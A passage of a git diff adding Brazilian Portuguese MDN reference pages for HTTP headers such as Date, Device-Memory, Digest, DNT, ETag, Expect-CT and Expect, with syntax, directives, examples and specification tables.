"Oct", "Nov", "Dec" (sensível a capitalização). Os meses em ordem de Janeiro a Dezembro.</dd> + <dt><year></dt> + <dd>Um ano em número de 4 dígitos, e.g. "1990" ou "2016".</dd> + <dt><hour></dt> + <dd>Uma hora em número de 2 dígitos, e.g. "09" ou "23".</dd> + <dt><minute></dt> + <dd>Minutos em número de 2 dígitos, e.g. "04" ou "59".</dd> + <dt><second></dt> + <dd>Segundos em número de 2 dígitos, e.g. "04" ou "59".</dd> + <dt>GMT</dt> + <dd> + <p>Meridiano de Greenwich. Datas HTTP são sempre expressadas em GMT, nunca em tempo local.</p> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<pre class="brush: js notranslate">new Date().toUTCString() +// "Mon, 09 Mar 2020 08:13:24 GMT"</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col"> + <div class="twocolumns"> + <p>Título</p> + </div> + </th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "Date", "7.1.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Date")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Age")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/device-memory/index.html b/files/pt-br/web/http/headers/device-memory/index.html new file mode 100644 index 0000000000..73f2cc3185 --- /dev/null +++ b/files/pt-br/web/http/headers/device-memory/index.html @@ -0,0 +1,84 @@ +--- +title: Device-Memory +slug: Web/HTTP/Headers/Device-Memory +tags: + - Cabeçalho HTTP + - Client hints + - Device Memory API + - HTTP + - cabeçalho +translation_of: Web/HTTP/Headers/Device-Memory +--- +<div>{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}</div> + +<p>O cabeçalho <code><strong>Device-Memory</strong></code> é um cabeçalho da <a href="/en-US/docs/Web/API/Device_Memory_API">Device Memory API</a> que funciona como os cabeçalhos <a href="/en-US/docs/Glossary/Client_hints">Client Hints</a> que representão a quantidade aproximada de RAM que o dispositivo do cliente possui.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>?</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>Nota:</strong> Client Hints são acessíveis somente em origens seguras (via TLS). O servidor pode optar em receber o cabeçalho <code>Device-Memory</code> do cliente mandando os cabeçalhos de resposta {{HTTPHeader("Accept-CH")}} e {{HTTPHeader("Accept-CH-Lifetime")}}.</p> +</div> + +<h2 id="Sintaxe">Sintaxe</h2> + +<p>A quantidade de RAM no dispositivo pode ser usada como variável de pegada, The amount of device RAM can be used as a fingerprinting variable, então os valores para este cabeçalho são intencionalmente grosseiros para reduzir potenciais usos indesejados. O cabeçalho pode ter os seguintes valores: <code>0.25</code>, <code>0.5</code>, <code>1</code>, <code>2</code>, <code>4</code>, <code>8</code>.</p> + +<pre class="syntaxbox notranslate">Device-Memory: <number> +</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<p>O servidor precisa primeiro optar por aceitar o cabeçalho <code>Device-Memory</code> mandando os cabeçalhos de resposta {{HTTPHeader("Accept-CH")}} contendo <code>Device-Memory</code> e {{HTTPHeader("Accept-CH-Lifetime")}}.</p> + +<pre class="notranslate">Accept-CH: Device-Memory +Accept-CH-Lifetime: 86400 +</pre> + +<p>Então nas requisições subsequentes, o cliente enviará o cabeçalho <code>Device-Memory</code> de volta:</p> + +<pre class="notranslate">Device-Memory: 1 +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + <tr> + <td>{{SpecName("Device Memory","#sec-device-memory-client-hint-header","Device-Memory")}}</td> + <td>{{Spec2('Device Memory')}}</td> + <td>Definição inicial.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Device-Memory")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Device_Memory_API">Device Memory API</a></li> + <li>{{HTTPHeader("Accept-CH")}}</li> + <li>{{HTTPHeader("Accept-CH-Lifetime")}}</li> + <li>{{HTTPHeader("Vary")}}</li> + <li>{{DOMxRef("Navigator.deviceMemory")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/digest/index.html b/files/pt-br/web/http/headers/digest/index.html new file mode 100644 index 0000000000..726ec7a328 --- /dev/null +++ b/files/pt-br/web/http/headers/digest/index.html @@ -0,0 +1,90 @@ +--- +title: Digest +slug: Web/HTTP/Headers/Digest +tags: + - Cabeçalho HTTP + - HTTP +translation_of: Web/HTTP/Headers/Digest +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta HTTP <code><strong>Digest</strong></code> provém uma {{Glossary("digest")}} do recurso requisitado.</p> + +<p>Nos termos da <a href="https://tools.ietf.org/html/rfc7231">RFC 7231</a> esta é a <em>representação selecionada</em> de um recurso. A representação selecionada depende dos valores dos cabeçalhos <code><a href="/en-US/docs/Web/HTTP/Headers/Content-Type">Content-Type</a></code> e <code><a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">Content-Encoding</a></code>: então um único recurso pode ter diversos valores de "digestão".</p> + +<p>A "digestão" é calculada através da representação inteira. A representação em si pode ser:</p> + +<ul> + <li>totalmente contida no corpo da mensagem de resposta</li> + <li>não contida no corpo da mensagem (por exemplo, na resposta para uma requisição <code><a href="/en-US/docs/Web/HTTP/Methods/HEAD">HEAD</a></code>)</li> + <li>parcialmente contido no corpo da mensagem (por exemplo, em uma resposta para uma <a href="/en-US/docs/Web/HTTP/Range_requests">requisição de intervalo</a>).</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo do cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Digest: <digest-algorithm>=<digest-value> + +Digest: <digest-algorithm>=<digest-value>,<digest-algorithm>=<digest-value> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code><digest-algorithm></code></dt> + <dd>Algoritmos de digestão suportados são definidos na <a href="https://tools.ietf.org/html/rfc3230">RFC 3230</a> e <a href="https://tools.ietf.org/html/rfc5843">RFC 5843</a>, e incluem <code>SHA-256</code> e <code>SHA-512</code>. Alguns dos algoritmos suportados, incluindo <code>unixsum</code> e <code>MD5</code> são sujeitos a colisões e não são recomendados para aplicações onde resistência à colisções é importante.</dd> + <dt><code><digest-value></code></dt> + <dd>O resultado de aplicação do algoritmo de digestão na representação do recurso e codificando o resultado. A escolha do algoritmo de digestão também determina a codificação a ser usada: por exemplo <code>SHA-256</code> usa codificação <em>base64</em>.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="syntaxbox notranslate">Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE= +Digest: sha-256=X48E9qOokqqrvdts8nOJRJN3OWDUoyWxBf7kbu9DBPE=,unixsum=30637</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td> + <p><a class="smpl" href="https://datatracker.ietf.org/doc/draft-ietf-httpbis-digest-headers">draft-ietf-httpbis-digest-headers-latest</a></p> + </td> + <td>Resource Digests for HTTP</td> + </tr> + </tbody> +</table> + +<p>Este cabeçalho foi originalmente definido na <a href="https://tools.ietf.org/html/rfc3230">RFC 3230</a>, mas a definição de "representação selecionada" na <a href="https://www.rfc-editor.org/info/rfc7231">RFC 7231</a> fez com que a definição original ficasse inconsistente com as especificações atuais do HTTP. Quando lançado, o rascunho de "Digestão de recursos para HTTP" tornará a RFC 3230 obsoleta e atualizará o padrão para ser consistente.</p> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Digest")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Want-Digest")}}</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests">Requisições de intervalo HTTP</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/206" title="The HTTP 206 Partial Content success status response code indicates that the request has succeeded and has the body contains the requested ranges of data, as described in the Range header of the request."><code>206 Partial Content</code></a></li> +</ul> diff --git a/files/pt-br/web/http/headers/dnt/index.html b/files/pt-br/web/http/headers/dnt/index.html new file mode 100644 index 0000000000..5088fdf2c1 --- /dev/null +++ b/files/pt-br/web/http/headers/dnt/index.html @@ -0,0 +1,88 @@ +--- +title: DNT +slug: Web/HTTP/Headers/DNT +tags: + - DNT + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/DNT +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição <strong><code>DNT</code></strong> (<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack) indica a preferência do usuário de permitir ser "seguido". Ele indica se o usuário prefere privacidade ao invés de conteúdo personalizado.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">DNT: 0 +DNT: 1 +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt>0</dt> + <dd>O usuário prefere <strong>permitir</strong> ser seguido no site alvo.</dd> + <dt>1</dt> + <dd>O usuário prefere <strong>não permitir</strong> ser seguido no site alvo.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Lendo_status_Do_Not_Track_status_do_JavaScript">Lendo status Do Not Track status do JavaScript</h3> + +<p>A preferência DNT do usuário também pode ser lida do JavaScript usando a propriedade {{domxref("Navigator.doNotTrack")}}:</p> + +<pre class="brush: js">navigator.doNotTrack; // "0" or "1"</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentários</th> + </tr> + <tr> + <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td> + <td>{{Spec2("Tracking")}}</td> + <td>Definição inicial.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.DNT")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{domxref("Navigator.doNotTrack")}}</li> + <li>Cabeçalho {{HTTPHeader("Tk")}}</li> + <li><a href="https://en.wikipedia.org/wiki/Do_Not_Track">Do Not Track no Wikipedia</a></li> + <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">What Does the "Track" in "Do Not Track" Mean? – EFF</a></li> + <li><a href="https://donottrack.us/">donottrack.us</a></li> + <li>Ajuda das configurações DNT dos navegadores: + <ul> + <li><a href="https://www.mozilla.org/en-US/firefox/dnt/">Firefox</a></li> + <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li> + </ul> + </li> +</ul> diff --git a/files/pt-br/web/http/headers/dpr/index.html b/files/pt-br/web/http/headers/dpr/index.html new file mode 100644 index 0000000000..f159528f85 --- /dev/null +++ b/files/pt-br/web/http/headers/dpr/index.html @@ -0,0 +1,63 @@ +--- +title: DPR +slug: Web/HTTP/Headers/DPR +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - Client hints + - DPR + - HTTP +translation_of: Web/HTTP/Headers/DPR +--- +<div>{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}</div> + +<p>O cabeçalho <code><strong>DPR</strong></code> é um cabeçalho de requisição <em><a href="/en-US/docs/Glossary/Client_hints">Client Hints</a></em> que representa a razão de pixeis do dispositivo do cliente, por isso ({{Glossary("DPR")}})(<em>device pixel ratio</em>), que é o número de pixeis físicos do dispositivo correspondendo a cada pixel CSS.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>?</td> + </tr> + </tbody> +</table> + +<div class="blockIndicator note"> +<p><strong>Nota:</strong> <em>Client Hints</em> são acessíveis somente em origens seguras (via TLS). Servidor deve optar em receber um cabeçalho <code>DPR</code> do cliente enviando cabeçalhos de resposta {{HTTPHeader("Accept-CH")}} e {{HTTPHeader("Accept-CH-Lifetime")}}.</p> +</div> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">DPR: <number> +</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<p>O servidor primeiro optar por receber o cabeçalho <code>DPR</code> enviando os cabeçalhos de resposta {{HTTPHeader("Accept-CH")}} contendo <code>DPR</code> e {{HTTPHeader("Accept-CH-Lifetime")}}.</p> + +<pre>Accept-CH: DPR +Accept-CH-Lifetime: 86400 +</pre> + +<p>Então as requisições subsequentes do cliente podem enviar o cabeçalho <code>DPR</code> de volta:</p> + +<pre>DPR: 1.0 +</pre> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.DPR")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Accept-CH")}}</li> + <li>{{HTTPHeader("Accept-CH-Lifetime")}}</li> + <li>{{HTTPHeader("Vary")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/early-data/index.html b/files/pt-br/web/http/headers/early-data/index.html new file mode 100644 index 0000000000..1c68eea70c --- /dev/null +++ b/files/pt-br/web/http/headers/early-data/index.html @@ -0,0 +1,63 @@ +--- +title: Early-Data +slug: Web/HTTP/Headers/Early-Data +tags: + - Cabeçalho HTTP + - Client hints + - HTTP + - cabeçalho + - requisição +translation_of: Web/HTTP/Headers/Early-Data +--- +<div>{{SeeCompatTable}}{{HTTPSidebar}}</div> + +<p><span class="seoSummary">O cabeçalho <code><strong>Early-Data</strong></code> é colocado por um intermediário para indicar que a requisição foi transportada em <a href="/en-US/docs/Web/Security/Transport_Layer_Security#TLS_1.3">dados precoces do TLS (TLS <em>early data</em>)</a>, e também indica que o intermediário entende o código de status {{HTTPStatus("425", "425 (Too Early)")}}.</span></p> + +<p>O cabeçalho <code>Early-Data</code> <strong>não é</strong> definido pelo gerador da requisição (i.e., um navegador).</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sitnaxe">Sitnaxe</h2> + +<pre class="syntaxbox notranslate">Early-Data: 1 +</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">GET /resource HTTP/1.0 +Host: example.com +Early-Data: 1</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("8470", "The Early-Data Header Field", "5.1")}}</td> + <td>Using Early Data in HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.Early-Data")}}</p> diff --git a/files/pt-br/web/http/headers/etag/index.html b/files/pt-br/web/http/headers/etag/index.html new file mode 100644 index 0000000000..008533f2ec --- /dev/null +++ b/files/pt-br/web/http/headers/etag/index.html @@ -0,0 +1,107 @@ +--- +title: ETag +slug: Web/HTTP/Headers/ETag +tags: + - Cache + - ETag + - HTTP + - Response + - Trafego + - header +translation_of: Web/HTTP/Headers/ETag +--- +<div>{{HTTPSidebar}}</div> + +<p>O HTTP provê no cabeçalho (header) da resposta (response), a <strong><code>ETag</code></strong> que é um identificador para uma versão específica de um recurso. A ETag permite que o cache torne-se mais eficiente e preserve o tráfego de dados (largura de banda), assim um web server não precisa reenviar uma resposta com todos os dados que não tiveram nenhuma mudança em seu conteúdo. Além disso, as ETags ajudam a impedir que atualizações simultâneas de um recurso sejam feitas por outros. Veja sobre (<a href="#Caching_of_unchanged_resources">"mid-air collisions"</a>).</p> + +<p>Se o recurso numa URL sofre mudança, a <code>Etag</code> assume um novo valor que deve ser gerado pelo Web Server. Uma comparação entre elas podem determinar se as duas representações do recurso são iguais. Etags são similares às nossas impressões digitais, e por isso também podem ser usadas por alguns servidores como um forma de rastreamento. Elas podem ser configuradas a fim de que possam ser persistidas idenfinidamente por um servidor de rastreamento.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">ETag: W/"<etag_value>" +ETag: "<etag_value>" +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>W/</code> {{optional_inline}}</dt> + <dd><code>'W/'</code> (case-sensitive) Indica que um validador fraco está sendo usado (veja mais em <a href="/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">weak validator</a>). <em>Etags Fracas</em> são fáceis de serem geradas, mas possuem a desvantagem de serem menos usadas para comparações. <em>Validadores Fortes</em> são ideais para comparações mas podem ser muito difíceis de serem gerados de uma forma eficaz. Os valores de uma Etag Fraca para duas representações de um único recurso podem ser equivalentes semanticamente, contudo não são idênticas em byte-for-byte. Isto significa que etags fracas impedem o cache efetivo quando requisições dentro de um intervalo de bytes são realizadas (veja mais em <a href="/en-US/docs/Web/HTTP/Headers/Accept-Ranges">byte range requests</a> ), ao passo que etags fortes permitem que um intervalo de requisições aindam possam ser preservadas no cache.</dd> + <dt>"<etag_value>"</dt> + <dd>Tag na Entidade que possui valor único o qual está representando o recurso requisitado. O valor será do tipo string com caracteres em ASCII que será exibido dentro de aspas duplas, como pode se vê ao lado <code>"675af34563dc-tr34"</code>. O método por qual o valor da <code>ETag</code> foi gerado não está especificado. Frequentemente, uma hash do conteúdo, uma hash da última modificação ou somente um número de revisão é usado. Por exemplo o MDN usa uma hash hexadecimal para o conteúdo do artigo da wiki.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4" +ETag: W/"0815"</pre> + +<h3 id="Fugindo_de_ediçoes_simultâneas">Fugindo de ediçoes simultâneas</h3> + +<p>Com a ajuda da <code>ETag</code> e o cabeçalho {{HTTPHeader("If-Match")}} (<em>headers</em>), você pode detectar choque de edições simultânes.</p> + +<p>Por exemplo, quando editamos o MDN, o conteúdo atual da wiki é criptografado e colocado dentro de uma <code>Etag</code> da resposta (response). </p> + +<pre class="notranslate">ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + +<p>Quando salvamos as mudanças para a página da wiki, (posting data), a requisição {{HTTPMethod("POST")}} conterá o cabeçalho {{HTTPHeader("If-Match")}} contendo o valor da <code>ETag</code> para checar a atualização.</p> + +<pre class="notranslate">If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + +<p>Se o hash não for compatível, isto significa que o documento foi editado durante determinado intervalo e uma resposta com o status {{HTTPStatus("412")}} <code>Precondition Failed</code> será enviada ao cliente.</p> + +<h3 id="Armazenando_recursos_sem_alterações.">Armazenando recursos sem alterações.</h3> + +<p>Outro uso típico de cabeçalho (header) com a <code>ETag</code> é para guardar recursos que não foram alterados. Se um usuário visitar um recurso dado por uma URL de novo, (é necessaíro ter a <code>ETag</code> configurada), e ele deseja saber se está obsoleto (<em>stale) </em>(ou antigo para ser considerado como utilizável), o cliente enviará o valor da sua <code>ETag</code> por meio de um atributo no cabeçalho {{HTTPHeader("If-None-Match")}}, veja o exemplo abaixo:</p> + +<pre class="notranslate">If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre> + +<p>O servidor irá comparar a <code>ETag</code> do cliente (enviada com <code>If-None-Match</code>) com a versão da <code>ETag</code> disponível para o recurso, e se ambos os valores forem compatíveis (isto é, o recurso não foi modificado), o servidor enviará de volta a resposta com status {{HTTPStatus("304")}} <code>Sem Modificação (Not modified)</code>, porém sem um body, comunicando ao cliente que a versão guardada na resposta ainda está atualizada (ou boa para uso, <em>fresh</em>).</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7232", "ETag", "2.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_Navegadores">Compatibilidade de Navegadores</h2> + +<div class="hidden">A tabela de compatibilidade nesta página é gerada de uma estrutura de dados. Se você gostaria de contribuir, por favor, cheque nosso repositório no GitHub <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envia-nos um pull request.</div> + +<p>{{Compat("http.headers.ETag")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> + <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> + <li> + <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p> + </li> +</ul> diff --git a/files/pt-br/web/http/headers/expect-ct/index.html b/files/pt-br/web/http/headers/expect-ct/index.html new file mode 100644 index 0000000000..35c9b64d02 --- /dev/null +++ b/files/pt-br/web/http/headers/expect-ct/index.html @@ -0,0 +1,110 @@ +--- +title: Expect-CT +slug: Web/HTTP/Headers/Expect-CT +tags: + - Certificados + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Expect-CT +--- +<p>{{HTTPSidebar}}</p> + +<p><span class="seoSummary">O cabeçalho <code>Expect-CT</code> deixa sites optarem em reportar e/ou forçar requirimentos do <a href="/en-US/docs/Web/Security/Certificate_Transparency">Certificado de Transparência</a>, para previnir o uso incorreto de certificados do site passar despercebido.</span></p> + +<p>Os requerimentos do CT podem ser satisfeitos utilizando qualquer um dos seguintes mecanismos:</p> + +<ul> + <li>A extensão do certificado X.509v3 permite embebedar uma marcação de data e hora de certificados assinados reportados por <em>logs</em> individuais.</li> + <li>A extensão TLS do tipo <code>signed_certificate_timestamp</code> enviada durante um <em>handshake</em>.</li> + <li>Dando suporte a OCSP (que é, a extensão TLS <code>status_request</code>) e provendo uma <code>SignedCertificateTimestampList</code></li> +</ul> + +<div class="note"> +<p>Quando um site habilita o cabeçalho <code>Expect-CT</code>, ele está requisitando que o navegador verifique se qualquer certificado para aquele site aparece em <strong><a href="https://www.certificate-transparency.org/known-logs"><em>logs</em> CT públicos </a></strong>.</p> +</div> + +<div class="note"> +<p><strong>Navegadores ignoram</strong> o cabeçalho <code>Expect-CT</code> através do HTTP; o cabeçalho só tem efeito em conexões HTTPS.</p> +</div> + +<div class="note"> +<p>O <code>Expect-CT</code> provavelmente se tornará obsoleto em Junho de 2021. Desde Maio de 2018, esperasse que novos certificados suportem SCTs por padrão. Certificados de antes de Maio de 2018 eram permitidos ter uma vida útil de 39 meses, todos eles serão expirados em Junho de 2021.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="notranslate">Expect-CT: report-uri="<uri>", + enforce, + max-age=<age></pre> + +<h2 id="Diretivas"> Diretivas</h2> + +<dl> + <dt><code>max-age</code></dt> + <dd> + <p>O número de segundos depois da recepção do cabeçalho <code>Expect-CT</code> durante o qual o agente de usuário deve identificar o hospedeiro da mensagem recebida como um hospedeiro <code>Expect-CT</code> conhecido.</p> + + <p>Se o cache receber um valor maior do que ele pode representar, or se qualquer um dos seus cálculos subsequentes estourar o limite, o cache vai considerar este valor a ser 2,147,483,648 (2<sup>31</sup>) ou o maior inteiro positivo que ele pode representar.</p> + </dd> + <dt><code>report-uri="<uri>"</code> {{optional_inline}}</dt> + <dd> + <p>A URI onde o agente de usuário deve reportar falhas <code>Expect-CT</code>.</p> + Quando presente com a diretiva <code>enforce</code>, a configuração é referida como uma configuração "executar-e-reportar", sinalizando ao agente de usuário<em> </em>que ambos o <em>compliance</em> da política do Certificado de Transparência deve ser executado <em>e</em> que as violações devem ser reportadas.</dd> + <dt><code>enforce</code> {{optional_inline}}</dt> + <dd> + <p>Sinais ao agente do usuário que conforme a política do Certificado de Transparência deve ser executada (ao invés de somente ser reportada) e o agente de usuário deve recusar futuras conexões que violem a política do Certificado de Transparência.</p> + + <p>Quando ambas as diretivas <code>enforce</code> e <code>report-uri</code> estiverem presentes, configuração é referida como uma configuração "executar-e-reportar", sinalizando ao agente de usuário<em> </em>que ambos o <em>compliance</em> da política do Certificado de Transparência deve ser executado <em>e</em> que as violações devem ser reportadas.</p> + </dd> +</dl> + +<h2 id="Exemplo">Exemplo</h2> + +<p>O seguinte exemplo especifica uma execução do Certificado de Transparência por 24 horas e reporta violações para <code>foo.example</code>.</p> + +<pre class="notranslate">Expect-CT: max-age=86400, enforce, report-uri="https://foo.example/report"</pre> + +<h2 id="Notas">Notas</h2> + +<p>Certificados de Autoridade Raiz (<em>Root CAs</em>) manualmente adicionados para a loja de confiança, sobrescrevendo e suprimindo relatórios e execuções do <code>Expect-CT</code>.</p> + +<p>Navegadores não vão lembrar de uma política <code>Expect-CT</code>, a menos que o site tenha "provado" que ele pode servir um certificado satisfazendo os requerimentos do certificado de transparência. Navegadores implementam seus próprios modelos em relação a quais <em>logs</em> CT são considerados confiáveis para o certificado logar.</p> + +<p>Versões do Chrome são desenvolvidas para parar execução de políticas de <code>Expect-CT</code> 10 semanas depois da data de instalação da versão.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-expect-ct-08">Internet Draft</a></td> + <td>Expect-CT Extension for HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + + + +<p>{{Compat("http.headers.Expect-CT")}}</p> diff --git a/files/pt-br/web/http/headers/expect/index.html b/files/pt-br/web/http/headers/expect/index.html new file mode 100644 index 0000000000..3b12acecda --- /dev/null +++ b/files/pt-br/web/http/headers/expect/index.html @@ -0,0 +1,96 @@ +--- +title: Expect +slug: Web/HTTP/Headers/Expect +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Referencia +translation_of: Web/HTTP/Headers/Expect +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição HTTP <strong><code>Expect</code></strong> indica expectativas que precisão ser cumpridas pelo servidor para lidar com a requisição apropriadamente.</p> + +<p>A única expectativa definida na especificação é <code>Expect: 100-continue</code>, para qual o servidor deve responder com:</p> + +<ul> + <li>{{HTTPStatus("100")}} se a informação contida no cabeçalho é suficiente para causar sucesso imediato,</li> + <li>{{HTTPStatus("417")}} (Expectativa Falhou) se ele não pode se comprometer com a expectativa; ou qualquer outro código de status 4xx caso contrário.</li> +</ul> + +<p>Por exemplo, o servidor pode rejeitar a requisição se o cabeçalho {{HTTPHeader("Content-Length")}} for muito grande.</p> + +<p>Navegadores comuns não enviam um cabeçalho <code>Expect</code>, mas alguns clientes como o cURL fazem isso por padrão.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th 